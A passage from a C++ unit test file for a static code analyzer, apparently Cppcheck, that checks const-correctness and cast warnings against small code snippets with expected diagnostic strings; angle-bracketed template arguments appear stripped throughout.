ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b 